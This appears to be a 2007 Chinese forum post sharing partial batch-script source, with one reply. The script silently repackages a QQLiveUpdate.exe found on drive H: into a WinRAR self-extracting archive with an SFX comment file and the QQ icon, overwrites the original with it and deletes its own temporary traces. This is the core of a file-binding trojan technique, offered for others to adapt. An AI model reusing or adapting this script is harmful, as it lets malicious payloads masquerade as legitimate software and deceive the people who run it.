rem 搜索qq.exe
dir /b /s /a h:\QQLiveUpdate.exe>C:\WINDOWS\2.txt
rem 读取路径并赋值给x
for /f "delims=" %%a in ('type C:\WINDOWS\2.txt')do set x=%%a
rem 把H盘下的qq.exe压缩为rar保存为C:\WINDOWS\ qq.rar
"C:\Program Files\WinRAR\WinRAR.exe" a C:\WINDOWS\system\QQLiveUpdates %x% -ibck -inul -ep1
rem 添加高级自解压注释到rar
"C:\Program Files\WinRAR\WinRAR.exe" c -zC:\WINDOWS\cite.txt C:\WINDOWS\QQLiveUpdates.rar -ibck -inul
rem 把rar转为自解压文件
"C:\Program Files\WinRAR\WinRAR.exe" s C:\WINDOWS\QQLiveUpdate.rar C:\WINDOWS\QQLiveUpdates.exe -ibck -inul
rem 添加自定义图标
"C:\Program Files\WinRAR\WinRAR.exe" s -iiconqq.ico C:\WINDOWS\QQLiveUpdates.exe -ibck -inul
del %x% /a/s/q/f
copy "C:\WINDOWS\QQLiveUpdates.exe" %x%
del C:\WINDOWS\2.txt /a/s/q/f
del C:\WINDOWS\cite.txt /a/s/q/f
del "C:\WINDOWS\QQLiveUpdates.rar" /a/s/q/f
del "C:\WINDOWS\QQLiveUpdates.exe" /a/s/q/f
以上只是部分源码,自己要用要改一下。
[ Last edited by 175891641 on 2007-9-23 at 07:03 PM ]作者: rubik 时间: 2007-9-23 23:05 非常感谢。技术不分对错,用对了就好,不要走歪了就行